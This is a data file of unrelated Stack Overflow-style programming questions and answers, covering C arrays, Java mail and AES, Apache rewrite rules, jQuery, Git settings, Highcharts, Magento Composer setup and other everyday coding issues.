20507239	0	Having problems replacing data in array <p>For a project I have to do, I have to list a set of classes, have the user select which class to use, and print out a weekly schedule for them for the semester. (Same program as the first question I asked.) However, I seem to run into a problem when I try to print out a weekly schedule. (The program is pretty lengthy, at least with the experience I have in C.)</p> <pre><code>struct course { int index; char name[7]; char day[4]; int hours,houre,mins,mine; char ap[3]; int credit; }; struct course whcl[]={ {0,"MATH1","MWF",7,8,30,50,"AM",5}, {1,"MATH2","MWF",9,10,00,20,"AM",5}, {2,"CHEM1","MW ",2,6,30,50,"PM",5}, {3,"PHYS4","TTH",4,6,00,45,"PM",4}, {4,"ENGR1","M ",9,10,30,20,"AM",1}, {5,"ENGR2","TTH",10,12,00,15,"PM",3}, {6,"ENGR3","MW ",11,12,00,15,"PM",3}}; int choice[15],i,j,k,num,z,s; void printout(int z); //(To be put in when I fix the function) int main(void) { char l[8][3]={{"st"},{"nd"},{"rd"},{"th"},{"th"},{"th"},{"th"},{"th"}}; printf(" Fall Schedule\n"); printf("Index Course Day Time Credit\n"); printf("-------------------------------------------\n"); for(i=0;i&lt;7;i++) { printf(" %i %s %s %i%i:%i%i-%i%i:%i%i%s %i\n", whcl[i].index,whcl[i].name,whcl[i].day, whcl[i].hours/10,whcl[i].hours%10, whcl[i].mins/10,whcl[i].mins%10, whcl[i].houre/10,whcl[i].houre%10, whcl[i].mine/10,whcl[i].mine%10, whcl[i].ap,whcl[i].credit); } printf("How many classes would you like to take?: "); scanf("%i",&amp;num); for(i=0;i&lt;num;i++) { printf("Select the %i%s class using the index: ",i+1,l[i]); scanf("%i",&amp;choice[i]); } printf("The classes you have selected are:\n"); printf("Index Course Day Time Credit\n"); printf("-------------------------------------------\n"); for(i=0;i&lt;num;i++) { s=choice[i]; printf(" %i %s %s %i%i:%i%i-%i%i:%i%i%s %i\n", whcl[s].index,whcl[s].name,whcl[s].day, whcl[s].hours/10,whcl[s].hours%10, whcl[s].mins/10,whcl[s].mins%10, whcl[s].houre/10,whcl[s].houre%10, whcl[s].mine/10,whcl[s].mine%10, whcl[s].ap,whcl[s].credit); } printf("Your weekly schedule for Fall is:\n"); printf(" Time Monday Tuesday Wednesday Thursday Friday\n"); printout(z); return 0; } void printout(int z) { int start,starti,end,endi,num; int slot[25][6]; for(i=0;i&lt;24;i++) for(j=0;j&lt;5;j++) slot[i][j]=99; for(i=0;i&lt;num;i++) { if ((whcl[choice[i]].day)=="MWF")//I think the problem is here. { start=whcl[choice[i]].hours*60+whcl[choice[i]].mins; end=whcl[choice[i]].houre*60+whcl[choice[i]].mine; starti=(start-450)/30; endi=(end-450)/30; for(j=starti;j&lt;=endi;j++) slot[j][1]=slot[j][3]=slot[j][6]=whcl[choice[i]].index; } } for(i=0;i&lt;24;i++) { printf("%i%i:%i%i-%i%i:%i%i ", (450+(i-1)*30)/60/10,(450+(i-1)*30)/60%10, (450+(i-1)*30)%60/10,(450+(i-1)*30)%60%10, (450+(i-1)*30+30)/60/10,(450+(i-1)*30+30)/60%10, (450+(i-1)*30+30)%60/10,(450+(i-1)*30+30)%60%10); for(j=0;j&lt;4;j++) { if (slot[i][j]!=99) //Use Note here printf(" %s ",whcl[choice[i]].name); else printf(""); } printf("\n"); } return; } </code></pre> <p>When I print out the schedule, the only thing that comes up is the time. Everything else is blank. I think it's due to my trying to replace the slot array with something other than 99. If you plan on running this program, please use 2 the amount of classes you want to take, and use 0 and 1 for the index on the class choice. (I don't have any if statements and whatnot to take into account the other classes the user might have chosen.) Here's a photo of what I'm trying to do for my program. <a href="http://postimg.org/image/3tlgtwu9h/" rel="nofollow">http://postimg.org/image/3tlgtwu9h/</a> I used paint to put in the boxes on the schedule to visually see the different arrays as I was coding.</p> <p>Note: If you change the if statement to [i][j]==99 You can see the "Class" being printed on the table, however it fills up the entire array slot, which confirms my thought that I messed up on trying to replace data in the array. Also, I filled it up with 99 to make 99 associated with blank spaces.</p>
1911805	0	Search email inbox using javax.mail <p>I was trying to see if there was a way to search an email inbox from javax.mail. Say I wanted to send a query and have the it return emails to us. Can we parse returned HTML and extract data. Also, if the above is possible how would I "translate" those messages returned by that server to POP3 messages? E.g. we have extracted:</p> <pre><code>Subject: Foo Body: Bar </code></pre> <p>but to open same message using POP3 I need to know it's POP3 uid, or number. I don't think we'll be able to get UID but perhaps we can figure out the number.</p> <p>I guess the question is:</p> <p>Can I send a query to email server (such as Hotmail or Yahoo) and get returned emails?</p>
31957052	0	 <p>put this theme in your manifest file in application Tag</p> <p>android:theme="@android:style/Theme.Black.NoTitleBar"</p>
12853626	0	 <p>Place your <code>.htaccess</code> in <code>/rs</code> folder and try</p> <pre><code>RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^([A-Za-z0-9]*)/?$ index.php?page=$1 [L] </code></pre> <p>Hope this will help</p>
610501	0	 <p>If you are looking for a gallery application I recommend the open source project '<a href="http://gallery.menalto.com/" rel="nofollow noreferrer">Gallery2</a>'.</p>
26218850	0	 <p>It sounds like the projects exists on the file system in the workspace directory, but the actual project got deleted or never imported in the eclipse workspace. Take a look at the workspace directory, all three projects should be there. You can delete the "missing" project from the file system and reimport it again.</p>
22021311	0	 <pre><code>$s = get-content YourFileName | Out-String $a = $s.ToCharArray() $a[0..103] # will return an array of first 104 chars </code></pre> <p>You can get your string back the following way, the replace removes space char( which is what array element separators turn into)</p> <pre><code>$ns = ([string]$a[0..103]).replace(" ","") </code></pre>
30817100	0	 <p>All the problems boil down to the fact that the following declaration</p> <pre><code>slist&lt;int&gt; L; </code></pre> <p>throwed the error that</p> <p><code>slist</code> was not declared in this scope</p> <p>You need to make sure <code>slist</code> is declared in your scope. <code>include</code> the necessary headers.</p>
20634387	0	 <p>You should change this to before_save, that way you can change the model's attributes, and then they will be saved to the database as normal. </p> <pre><code>class Slot include Mongoid::Document before_save :calculate_period def calculate_period if condition #do something end end end </code></pre>
32425006	0	 <p>That's because when the <code>JTextField</code> is shown, the <code>mouseExited()</code> method is immediately called. Then of course the <code>JLabel</code> is shown again and this loops while you keep moving the mouse.</p> <p>The following works:</p> <pre><code> jl.addMouseListener(new MouseAdapter() { public void mouseEntered(MouseEvent evt) { cl.show(jp, "2"); } }); jtf.addMouseListener(new MouseAdapter() { public void mouseExited(MouseEvent evt) { cl.show(jp, "1"); } }); </code></pre>
27225755	1	Converting list of strings to floats and add 1 <p>I have parsed my input to this list:</p> <pre><code>lst = ['6,3', '3,2', '9,6', '4,3'] </code></pre> <p>How to change this list of strings to a list of floats? While the numbers that are nw strings are not seperated by a . but by a ,</p> <p>After that i would like to add 1 to every float. So that the ouput becomes:</p> <pre><code>lst = [7.3, 4.2, 10.6, 5.4] </code></pre>
25763592	0	Symmetric Encryption isn't working <p>I am trying to generate cipher text and decrypted data. I already have assigned my incrypted value and key. But when I run the program in netbeans it shows error in the execution area, but no cipher text and decrypted data is produced.</p> <p>Encryption.java:</p> <pre><code>package encryption; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Encryption { private static byte[] message; public static void main(String[] args) throws Exception { byte[] message = {0, 0, 1, 2, 3, 4, 5, 6, 7, 6, 5, 4, 2, 3, 8, 9}; byte[] key = {1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4}; byte[] ciphertext; byte[] decrypted; Sender s = new Sender(); s.send(message); Receiver r = new Receiver(); r.receive(message); // TODO code application logic here } } </code></pre> <p>Sender.java:</p> <pre><code>package encryption; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Sender { private Cipher encoder; private SecretKeySpec myKey; public Sender() throws Exception { encoder = Cipher.getInstance("AES"); } public void setKey(byte[] key) throws Exception { myKey = new SecretKeySpec(key, "AES"); encoder.init(Cipher.ENCRYPT_MODE, myKey); } public byte[] send(byte[] message) throws Exception { return encoder.doFinal(message); } } </code></pre> <p>Receiver.java:</p> <pre><code>package encryption; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Receiver { private Cipher decoder; private SecretKeySpec myKey; public Receiver()throws Exception{ decoder=Cipher.getInstance("AES"); } public void setKey(byte[] key) throws Exception{ myKey= new SecretKeySpec(key ,"AES"); decoder.init(Cipher.DECRYPT_MODE, myKey); } public byte[] receive(byte[] message) throws Exception{ return decoder.doFinal(message); } } </code></pre>
37655373	0	 <p>You can use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort"><code>Array#sort</code></a> with <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/abs"><code>Math.abs()</code></a>.</p> <pre><code>arr.sort((a, b) =&gt; Math.abs(a - num) - Math.abs(b - num)); </code></pre> <p>Using ES5 Syntax for older browsers</p> <pre><code>arr.sort(function(a, b) { return Math.abs(a - num) - Math.abs(b - num); }); </code></pre> <p>To consider negative numbers too, don't use <code>Math.abs()</code>.</p> <p><div class="snippet" data-lang="js" data-hide="true" data-console="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var arr = [10, 45, 69, 72, 80]; var num = 73; var result = arr.sort((a, b) =&gt; Math.abs(a - num) - Math.abs(b - num));; console.log(result);</code></pre> </div> </div> </p>
29073150	0	 <p>These subprograms (functions and procedures) are probably not what you want them to be: they are declared within the <code>Polynomials</code> package, but do not reference the type <code>Polynomial</code> at all.</p> <p>Apart from that, your question is easily answered: <code>POLYNOMIO</code> is not a tagged type, so object.function notation does not work. You should call type.function instead, i.e. <code>Polynomials.times (q)</code>.</p> <p>I would guess that you are using experience (or some pre-written code) from a language like C++ or Java. There, the functions (methods) belong to the class/type and take an implicit parameter to an instance of that class. This is not the case in Ada: the functions belong to the <em>package</em>, and you have to add a parameter yourself, e.g. </p> <pre><code>function times (p: Polynomial; b: Integer) return Integer; </code></pre> <p>(Shouldn't it return a Polynomial?)</p> <p>A question: why do you declare two similar types, <code>Polynomials.Polynomial</code> and <code>Polynomials_Test.POLYNOMIO</code>?</p>
6855829	0	 <p>As you've noticed, system() waits for the other process. Internally, it forks() another process, that calls exec() to run your batch file and the original process waits. If you can't use CPAN then you can call fork() and exec() yourself and just not wait for the child process to finish.</p> <p>Read these first:</p> <ul> <li><a href="http://perldoc.perl.org/perlipc.html" rel="nofollow">http://perldoc.perl.org/perlipc.html</a></li> <li>perldoc -f fork</li> <li>perldoc -f exec</li> </ul> <p>Pay attention to the bit about signals and zombie processes. Once you've understood how it works it's simple enough.</p> <p>If your batch file generates output you need to process in your perl then you can use open() to create a pipe to it (perldoc -f open).</p> <p>Similar questions have been asked before:</p> <p><a href="http://stackoverflow.com/questions/799968/whats-the-difference-between-perls-backticks-system-and-exec">What&#39;s the difference between Perl&#39;s backticks, system, and exec?</a></p>
31296079	0	 <p>Try <code>&lt;script src="/resources/js/controller.js"&gt;&lt;/script&gt;</code></p>
40261298	0	 <p>If you only need the title try:</p> <pre><code>try { final Document document = Jsoup.connect("www...").get(); for (Element row : document.select("div#si-title")) { System.out.println(row.text()); } } catch (IOException e) { e.printStackTrace(); } </code></pre> <p>If you need more values of the <code>stat-item</code> try this:</p> <pre><code>try { final Document document = Jsoup.connect("www...").get(); for (Element statItem : document.select("div#stat-item")) { for (Element child : statItem.children()) { System.out.println(child.attr("class") +" = " +child.text()); } } } catch (IOException e) { e.printStackTrace(); } </code></pre>
38063055	0	fibers install not possible on ubuntu 14.04 <p>When I try to install fibers, I get this errormessage.</p> <p>I have Node version 0.10.45 for the use Meteor 1.3.2 on Ubuntu 14.04 64 Bits on a Strato VPS.</p> <p>When I do a <code>meteor build</code> I need to run <code>npm install fibers</code> inside of <code>programs/server</code> of the build output. But I have no chance installing fibers as I get this output. I have not found anything yet about that problem on the web.</p> <pre><code>sudo npm install -g fibers &gt; fibers@1.0.13 install /usr/local/lib/node_modules/fibers &gt; node build.js || nodejs build.js (...) make: Entering directory `/usr/local/lib/node_modules/fibers/build' CXX(target) Release/obj.target/fibers/src/fibers.o g++: internal compiler error: Bus error (program as) (...) make: *** [Release/obj.target/fibers/src/fibers.o] Error 4 make: Leaving directory `/usr/local/lib/node_modules/fibers/build' (...) gyp ERR! stack Error: `make` failed with exit code: 2 gyp ERR! stack at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:276:23) gyp ERR! stack at ChildProcess.emit (events.js:98:17) gyp ERR! stack at Process.ChildProcess._handle.onexit (child_process.js:820:12) gyp ERR! System Linux 3.13.0-042stab111.12 gyp ERR! command "node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild" "--release" gyp ERR! cwd /usr/local/lib/node_modules/fibers (...) Ubuntu users please run: `sudo apt-get install g++` Alpine users please run: `sudo apk add python make g++` npm ERR! Linux 3.13.0-042stab111.12 npm ERR! argv "node" "/usr/local/bin/npm" "install" "-g" "fibers" npm ERR! node v0.10.45 npm ERR! npm v3.10.2 npm ERR! file sh npm ERR! code ELIFECYCLE npm ERR! errno ENOENT npm ERR! syscall spawn npm ERR! fibers@1.0.13 install: `node build.js || nodejs build.js` npm ERR! spawn ENOENT npm ERR! npm ERR! Failed at the fibers@1.0.13 install script 'node build.js || nodejs build.js'. npm ERR! Make sure you have the latest version of node.js and npm installed. npm ERR! If you do, this is most likely a problem with the fibers package, npm ERR! not with npm itself. npm ERR! Tell the author that this fails on your system: npm ERR! node build.js || nodejs build.js npm ERR! You can get information on how to open an issue for this project with: npm ERR! npm bugs fibers npm ERR! Or if that isn't available, you can get their info via: npm ERR! npm owner ls fibers npm ERR! There is likely additional logging output above. npm ERR! Please include the following file with any support request: npm ERR! /home/keller/repos/rmt-app/npm-debug.log </code></pre>
857042	0	 <p>I'd be very wary of published software protection mechanisms, as they are much more likely to have published hacks. You are probably better off using some of the techniques to get a unique persistent ID and use this to roll your own protection mechanism. I also think that it is a poor idea to simple check the license whenever you run the program, as this leads the hacker to the location of your proection mechanism. IMO, your are better checking the license in a more random fashion, and more than once per session.</p> <p>FWIW, I use hardware locks (hasp) for my high end desktop software, and device ID based licensing on mobile solutions. If you are selling small quantities of high cost software in a vertical market, IMHO, a good license protection mechanism makes sense, and hardware dongles work well. My experience has been that people will use more licenses than they purchase if this is not in place. For high volume, low cost software, I'd tend to live with the piracy based on increasing the size of the user base and product visibility.</p>
245297	0	 <p>Subversion is like `a better CVS'. It handles moving files AND directories well. It has branching support, although that is inferior to Distributed VCSs.</p> <p>You may also consider using a distributed VCS one like git, bazaar or mercurial.</p> <p>Edit: Here is a <a href="http://stackoverflow.com/questions/1261/what-are-the-advantages-of-using-svn-over-cvs">link to a similar question</a></p>
29295880	0	 <p>Heres a tutorial-ish thing:</p> <p><a href="https://robots.thoughtbot.com/designing-for-ios-blending-modes" rel="nofollow">Blending Modes in iOS</a></p> <p>And here is the <a href="https://developer.apple.com/library/ios/documentation/GraphicsImaging/Reference/CGContext/index.html#//apple_ref/doc/c_ref/CGBlendMode" rel="nofollow">Apple Documentation</a> that covers blend modes. Should get you on the right track. The exact formulas are shown for each blend mode option.</p> <p>Finally, see this answer:</p> <p><a href="http://stackoverflow.com/a/8354632/2079103">How to get the color of a displayed pixel</a></p>
23215562	0	 <p>The answer suggested in the comment by @h0lyalg0rithm is an option to go.</p> <p>However, primitive options are.</p> <ol> <li><p>Use setinterval in javascript to perform a task every x seconds. Say polling.</p></li> <li><p>Use jQuery or native ajax to poll for information to a controller/action via route and have the controller push data as JSON.</p></li> <li><p>Use document.getElementById or jQuery to update data on the page.</p></li> </ol>
6421694	0	Where to put the database access <p>I have an entity class which is persisted to a database via JPA and I have a Utility class which does the persisting and reading for me.</p> <p>Now I'm asking myself if that is really the way to go. Wouldn't it be clearer, if the data class would have methods for reading and writing to the database?</p>
33624861	0	 <p>Try this one, it should do exactly what you want:</p> <pre><code>let date = NSDate() let dateFormetter = NSDateFormatter() dateFormetter.dateFormat = "h:mm a" dateFormetter.timeZone = NSTimeZone(name: "UTC") dateFormetter.locale = NSLocale(localeIdentifier: "en_GB") let timeString = dateFormetter.stringFromDate(date) // 7:34 a.m. </code></pre>
4751734	0	 <p><strong>Example:</strong> <a href="http://jsfiddle.net/EpbVc/" rel="nofollow">http://jsfiddle.net/EpbVc/</a></p> <pre><code>var value = $('#personName').val().split(' '); var firstName = value.shift(); var restOfNames = value.join(' '); </code></pre> <p>Uses <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/split" rel="nofollow"><code>.split()</code></a> to split on a single space. If there could be multiple spaces, you could use <code>.split(/\s+/)</code>. </p> <p>Then it uses <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/shift" rel="nofollow"><code>.shift()</code></a> to remove the first item from the Array, and assign it to <code>firstName</code>.</p> <p>Finally it uses <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/join" rel="nofollow"><code>.join()</code></a> to join the rest of the Array into a string using a single space as the separator.</p>
38504311	0	 <p>You can simple parse that date as shown below.</p> <pre><code>package com.test; import java.text.ParseException; import java.text.SimpleDateFormat; public class Sample { public static void main(String[] args) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSXXX"); System.out.println(sdf.parse("2016-07-21T11:25:00.000+01:00")); } } </code></pre>
19316023	0	 <p>Short Answer : <strong>No</strong></p> <p>Workaround : Use Javascript or jQuery using <code>.toggle()</code></p> <hr> <p>If you want to stick with CSS, you can do something like</p> <pre><code>div[style*="block"] + div { display: none; } </code></pre> <p><a href="http://jsfiddle.net/nvLvU/" rel="nofollow"><strong>Demo</strong></a></p> <p>The above selector will see whether <code>div</code> having an attribute of <code>style</code> contains a value called <code>block</code> if yes, than hide the <code>adjacent</code> <code>div</code> element using <code>+</code></p>
17969161	0	 <pre><code>update player set productName= concat("super ",productName) </code></pre>
2328836	0	How to average elements in one array based on values in another array? <pre><code>let tiedArray = [|9.4;1.2;-3.4;-3.4;-3.4;-3.4;-10.0|]; let sortedArray = [|-10.0;-3.4;-3.4;-3.4;-3.4;1.2;9.4|]; let sortedArrayRanks = [|1.;2.;3.;4.;5.;6.;7.|]; let desired_ranked_array = [|1.;3.5;3.5;3.5;3.5;6.;7.|] </code></pre> <p>hello-</p> <p>I am trying to write a function that takes 2 arrays (sortedArray and sortedArrayRanks) and return an output array like the one below. The mapping function in this example would take 2,3,4, and 5 in sortedArrayRanks and see that they all have the same value in sortedArray, and instead replace all of those numbers in an output array with the average of them (which is 3.5)</p> <p>What's tripping me up is whether to use recursion or an imperative looping contruct, like loop through sorted array, and see if an item is the same one that preceded it, and then if it matches, check the one before it, etc. How can this be solved? Thanks!</p>
7810136	0	 <p>Events are raised, delegates are called. So when the button is clicked, a <code>buttonClick</code> event is raised, meaning that each delegate subscribed to the event will be called, according to the subscription order.</p>
2156746	0	JavaScript regular expressions - match a series of hexadecimal numbers <p>Greetings JavaScript and regular expression gurus,</p> <p>I want to return all matches in an input string that are 6-digit hexadecimal numbers with any amount of white space in between. For example, "333333 e1e1e1 f4f435" should return an array:</p> <pre><code>array[0] = 333333 array[1] = e1e1e1 array[2] = f4f435 </code></pre> <p>Here is what I have, but it isn't quite right-- I'm not clear how to get the optional white space in there, and I'm only getting one match.</p> <blockquote> <p>colorValuesArray = colorValues.match(/[0-9A-Fa-f]{6}/);</p> </blockquote> <p>Thanks for your help,</p> <p>-NorthK</p>
29659414	0	 <p>No there are no operators built-in to the language specifically for generating sequences, but you can re-purpose some existing methods for sequence generation. </p> <p>For example:</p> <pre><code>[...Array(5)].map((x, y) =&gt; y*2); // Array [ 0, 2, 4, 6, 8 ] </code></pre>
25529862	0	 <p>Your glob for your watch seems to be wrong. Try this:</p> <pre><code>gulp.watch(['app/scripts/**/*.js', '!app/scripts/dist.js'], ['scripts']).on('change', function(evt) { changeEvent(evt); }); </code></pre> <p>Use the exclude pattern for your <code>dist.js</code> to avoid an infinite loop.</p> <p>Ciao Ralf</p>
7437849	0	 <p>Maybe they (the authors) didn't mean for you to try to compile that code, but just to understand the example and maybe implement it yourself.</p>
3441200	0	Change management in WordPress <p>I have a beginner question. What is the best way to address the change management issues in WordPress? I have an all-pages WordPress installation. Suppose name of some event or an entity changes from A to B, then I have to go to all the pages to make that change. Is there any better way of doing it? Like externalization or something. Or the way similar to how WordPress handle blog name using bloginfo() function. You change blog name at one place and it is reflected everywhere.</p> <p>Thanks, Paras</p>
29720401	0	 <p>Try using local storage in JavaScript. To store a string:</p> <pre><code>localStorage.setItem('Name of Value', JSON.stringify("Your String")); </code></pre> <p>To retrieve string:</p> <pre><code>var retrievedObject = JSON.parse(localStorage.getItem('Name of Value')); </code></pre>
8651613	0	 <p>Use <code>.Distinct()</code>. Since you can't use the default comparer, you can implement one like this</p> <pre><code>class MyEqualityComparer : IEqualityComparer&lt;Comment&gt; { public bool Equals(Comment x, Comment y) { return x.Sender.Equals(y.Sender); } public int GetHashCode(Comment obj) { return obj.Sender.GetHashCode(); } } </code></pre> <p>And then just filter them like this. You don't need the <code>if</code> statement.</p> <pre><code>List&lt;Comment&gt; StreamItemComments = objStreamItem.GetComments() .Distinct(new MyEqualityComparer()) .Where(x =&gt; x.Sender != ClientUser.UserName) .ToList(); </code></pre>
10441434	0	 <p>You haven't exactly defined how you want to use diagonal lines so you will have to write the final function as you need it, i suppose taking the path with shortest length of those that use diagonals, noting that path from a>c is shorter than path a>b>c for a,b,c in path</p> <pre><code>grid = [[False]*16 for i in range(16)] #mark grid of walls def rect(p1,p2): x1, y1 = p1 x2, y2 = p2 for x in range(x1, x2+1): for y in range(y1, y2+1): yield (x, y) rects = [((1,2),(5,5)), ((5,5),(14,15)), ((11,5),(11,11)), ((5,11),(11,11)), ((4,7),(5,13)), ((5,13),(13,13))] for p1,p2 in rects: for point in rect(p1,p2): x,y = point grid[x][y] = True start = (1,2) end = (12,13) assert(grid[start[0]][start[1]]) assert(grid[end[0]][end[1]]) def children(parent): x,y = parent surrounding_points = ((x1,y1) for x1 in range(x-1,x+2) for y1 in range(y-1,y+2) if x1&gt;0 and y&lt;15) for x,y in surrounding_points: if grid[x][y]: #not a wall grid[x][y] = False #set as wall since we have been there already yield x,y path = {} def bfs(fringe): if end in fringe: return new_fringe = [] for parent in fringe: for child in children(parent): path[child] = parent new_fringe.append(child) del fringe if new_fringe: bfs(new_fringe) bfs([start]) def unroll_path(node): if node != start: return unroll_path(path[node]) + [node] else: return [start] path = unroll_path(end) def get_final_path_length(path): #return length of path if using straight lines for i in range(len(path)): for j in range(i+1,len(path)): #if straight line between pathi and pathj return get_final_path(path[j+1:]) + distance_between_i_and_j </code></pre>
5124407	0	 <p>You would have to create your own custom <code>DialogPreference</code> for this in Java. There is no way to accomplish it through the preference XML.</p>
1961863	0	Why does Ruby require .call for Proc invocation? <p>I just wondered whether there is any good reason for or even an advantage in having to invoke <code>Proc</code>s using <code>proc.call(args)</code> in Ruby, which makes higher-order function syntax much more verbose and less intuitive.</p> <p>Why not just <code>proc(args)</code>? Why draw a distinction between functions, lambdas and blocks? Basically, it's all the same thing so why this confusing syntax? Or is there any point for it I don't realize?</p>
31711728	0	 <p>You can just use a Dart script for your settings. No point in using a different format if there is no specific reason. With a simple import you have it available in a typed way. </p>
15274285	0	 <p>Why are you doing that, just append an image.</p> <pre><code>$("#target").append("&lt;img src='img.jpg' /&gt;"); </code></pre> <p>other way</p> <pre><code>$('&lt;img/&gt;', { src: 'img.jpg' }).appendTo("#target"); </code></pre>
23329738	0	 <p>Vinai published a great writeup on Magento and Composer <a href="http://magebase.com/magento-tutorials/composer-with-magento/" rel="nofollow noreferrer">here</a>. </p> <p>Quoting from there</p> <blockquote> <p>Composer will use packagist.org to look where to get the libraries. Because Magento modules aren’t listed there, you will have to add the packages.firegento.org repository to the configuration as follows [...]</p> </blockquote> <p>So you will need the repository</p> <pre><code> "repositories":[ { "type":"composer", "url":"http://packages.firegento.com" } ], </code></pre> <p>to get the magento composer installer.</p> <p>And yes composer offers replacements. On the packaging entry for <a href="https://packagist.org/packages/aoepeople/composer-installers" rel="nofollow noreferrer">aoepeople/composer-installers</a> you will notice the replaces section:</p> <p><img src="https://i.stack.imgur.com/HBiXf.png" alt="Package Screenshot"></p> <p>And since <code>magento-hackathon/magento-composer-installer</code> is not available on packagist composer will deliver you <code>aoepeople/composer-installers</code>.</p>
10896509	0	 <p>Sorry, I didn't understand the question exactly then.</p> <p>If you want to embed .swf files using javascript, I'd recommend you to use swfobject.</p> <p>I made an example here:</p> <p><a href="http://jsfiddle.net/ZGGCj/" rel="nofollow">http://jsfiddle.net/ZGGCj/</a></p> <p>swfobject is documented pretty well here:</p> <p><a href="http://code.google.com/p/swfobject" rel="nofollow">http://code.google.com/p/swfobject</a></p>
29342421	0	 <p>You can try the regex <code>\b$</code> which ensures there's a match where a 'word' ends, and replace with <code> - digit</code> (or <code>\b(\n|$)</code> with a replacement of <code> - digit$1</code> if you don't want to use multiline)</p> <p><a href="https://regex101.com/r/kZ1gX6/1" rel="nofollow">regex101 demo</a></p>
380986	0	 <p><a href="http://nerds.palmdrive.net/useragent/code.html" rel="nofollow noreferrer" title="User-Agent detection: The Code">User-Agent detection</a> code is quite old (stops at IE6) but should be easily extended. Should be combined with R. Gagnon code pointed by Filip, for better detection of real browser (some browsers allows to alter user agent string at will).<br> You might be interested by the <a href="http://www.useragentstring.com/pages/useragentstring.php" rel="nofollow noreferrer" title="UserAgentString.com - List of User Agent Strings">List of User Agent Strings</a> too.</p>
22047607	0	Github: "This email will not be used for commit blame" <p>How can I use a fake email address with Github?</p> <p>Following <a href="http://wayback.archive.org/web/20130124033702/https://help.github.com/articles/keeping-your-email-address-private">Github's since-changed instructions</a>, I had a fake email like user@server.fake configured with git (<code>git config --global user.email "user@server.fake"</code>) and registered on my <a href="https://github.com/settings/emails">email settings page</a>.</p> <p>It was linking my commits, but not since the past week or so, and it has a "(?)" tooltip saying:</p> <blockquote> <p>This email will not be used for commit blame</p> </blockquote> <p>My real email address is verified and blamable, but I want to keep it private.</p> <p>How can I use a fake one and still be blamed?</p>
22300705	0	 <p>You can edit output name from <code>netbeans</code> project</p> <blockquote> <ol> <li>Right click on Library in netbeans</li> <li>Open Properties</li> <li>Build->Archiver->Output. At the end you will see name of lib (SomeName.a)</li> <li>Change it to suiltable name you need. </li> <li>Rebuild Project. You are good to go...</li> </ol> </blockquote>
38484119	0	 <p>Like Sinan said, you need to give the form a width and height to match the image size. </p> <p>I think you can take Sinan's code and combine it with this to expand the form's width and height to match the image size.</p> <p>Let's say your image size is 1024x768, then:</p> <pre><code>form { display: block; margin: 0 auto; width: 1024px; height:768px; } </code></pre>
14912924	0	identify a solid pattern to abstract a network layer to allow testability <p>I've read various questions here on the argument like</p> <p><a href="http://stackoverflow.com/questions/741981/how-do-you-unit-test-a-tcp-server-is-it-even-worth-it">How do you unit-test a TCP Server? Is it even worth it?</a></p> <p>and others more specific questions as</p> <p><a href="http://stackoverflow.com/questions/1263581/has-anyone-successfully-mocked-the-socket-class-in-net">Has anyone successfully mocked the Socket class in .NET?</a></p> <p><a href="http://stackoverflow.com/questions/8092182/rhino-mocks-how-to-build-a-fake-socket">rhino mocks: how to build a fake socket?</a></p> <p>but I anyway feel to post the question.</p> <p>I need to design an <strong>abstract network layer</strong>. It should be abstract to decouple consumer code from depending upon a specific implementation and, last but not least, be completely testable with fakes.</p> <p>I'm ended up that I don't need to mock a <code>Socket</code> class, but rather define am higher level abstraction and mock it.</p> <pre><code>interface INetworkLayer { void OnConnect(Stream netwokStream); void OnException(Exception e); // doubts on this } </code></pre> <p>Has anyone done something close to this that can provide observations, comments or explain how may look the right direction?</p>
22929141	0	 <p>The offending character here is “|” U+007C VERTICAL LINE, used by Google as a separator between font names; that’s a poor choice by them, since “|” is a reserved character, both by the <a href="http://url.spec.whatwg.org">“URL Living Standard”</a> (which is what the HTML5 CR cites) and by the Internet-standard STD 66 (<a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a>).</p> <p>In practice, it works fine when you use “|” as such, but to conform to the standards and drafts, use percent encoding (% encoding, as defined in the URL specifications) for it, writing <code>%7c</code> (case insensitive) instead:</p> <pre><code>&lt;link rel="stylesheet" type="text/css" href= "http://fonts.googleapis.com/css?family=Orbitron%7cSpecial+Elite%7cOpen+Sans"&gt; </code></pre>
13065841	0	 
25522969	0	 <p>null and [] are both false, a shorter and cleaner way</p> <pre><code>ng-show="myData.Address" </code></pre>
36840150	0	 <p>Hide the button that appears inside the chart</p> <pre><code>chart: { resetZoomButton: { theme: { display: 'none' } } } </code></pre> <p>then use your own button:</p> <pre><code>$('#button2').click(function(){ chart.xAxis[0].setExtremes(Date.UTC(1970, 5, 9), Date.UTC(1971, 10, 9)); }); </code></pre> <p><a href="http://jsfiddle.net/udvcy1e0/" rel="nofollow">Updated Fiddle</a></p>
11965812	0	 <p>You don't need to split anything, simply loop:</p> <pre><code>$.getJSON('data/data.json', function (ids) { for (var i = 0; i &lt; ids.length; i++) { var id = ids[i]; console.log(id); } }); </code></pre> <p>jQuery will automatically parse the string returned from the server as a javascript array so that you could directly access its elements.</p> <p>You could split each element by the space if you want to retrieve the 2 tokens.</p>
